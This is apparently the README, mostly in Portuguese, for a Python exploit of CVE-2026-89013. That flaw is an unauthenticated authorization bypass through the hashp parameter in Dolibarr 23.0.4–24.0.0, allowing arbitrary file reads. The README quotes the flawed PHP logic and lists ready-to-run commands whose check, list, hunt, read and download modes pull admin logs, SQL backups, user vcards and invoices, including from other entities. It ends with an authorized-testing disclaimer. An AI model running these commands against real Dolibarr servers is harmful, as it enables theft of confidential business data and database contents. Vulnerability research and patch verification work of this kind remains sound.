
Exploit em Python para CVE-2026-89013, um bypass de autorização hashp não autenticado no Dolibarr que permite leitura arbitrária de arquivos, com modos check, list, hunt, read e download.
Exploit para CVE-2026-89013: document.php e viewimage.php forçam NOLOGIN quando
o parâmetro hashp está presente. O valor de marcador interno shared ignora
a resolução do token de compartilhamento, mas a substituição do controle de acesso ainda é acionada para qualquer
valor não vazio e define $accessallowed = 1, descartando o resultado de
dol_check_secure_access_document(). Uma requisição não autenticada pode, portanto,
ler qualquer arquivo em todas as árvores de modulepart: documentos comerciais, logs de administração, backups SQL
(modulepart=systemtools), fontes de módulos personalizados (modulepart=packages),
e outras entidades multicompany via .
&entity=N| Afetado | Dolibarr 23.0.4 – 24.0.0 |
| Corrigido | 24.0.1 |
| Pré-requisitos | nenhum (não autenticado) |
| Impacto | leitura arbitrária de arquivos dentro dos diretórios gerenciados do Dolibarr |
// htdocs/document.php:189 (24.0.0) — 'shared' skips token resolution
if (!empty($hashp) && $hashp != 'shared') { ...resolve share token... }
// htdocs/document.php:292 — but any hashp forces access
if (!empty($hashp)) {
$accessallowed = 1;
$sqlprotectagainstexternals = '';
}
Uma regressão do commit 5028dae981e (2026-08-12), lançada pela primeira vez em 23.0.4 e
24.0.0. O traversal (../) é sanitizado no lado do servidor — isto é um bypass de autorização, não um path traversal.
# detection (safe, nonexistent canary file)
python3 CVE-2026-89013.py https://erp.local check
# readable modulepart trees
python3 CVE-2026-89013.py https://erp.local list
# hunt: dolibarr.log + SQL backups (generated filenames) + user vcards
python3 CVE-2026-89013.py https://erp.local hunt --db-name dolibarr --days 3 --save
# read / download
python3 CVE-2026-89013.py https://erp.local read logs/admin/logs/dolibarr.log
python3 CVE-2026-89013.py https://erp.local download systemtools/backup/backup.sql
python3 CVE-2026-89013.py https://erp.local read facture/FA2601-0001/FA2601-0001.pdf --entity 2
# PDFs via viewimage.php
python3 CVE-2026-89013.py https://erp.local viewimage facture/FA2601-0001/FA2601-0001.pdf
Somente biblioteca padrão (Python 3.8+). Suporta --proxy, --insecure, --timeout.

Apenas para testes e pesquisas autorizados. Use somente contra sistemas que você possui ou tem permissão explícita para testar.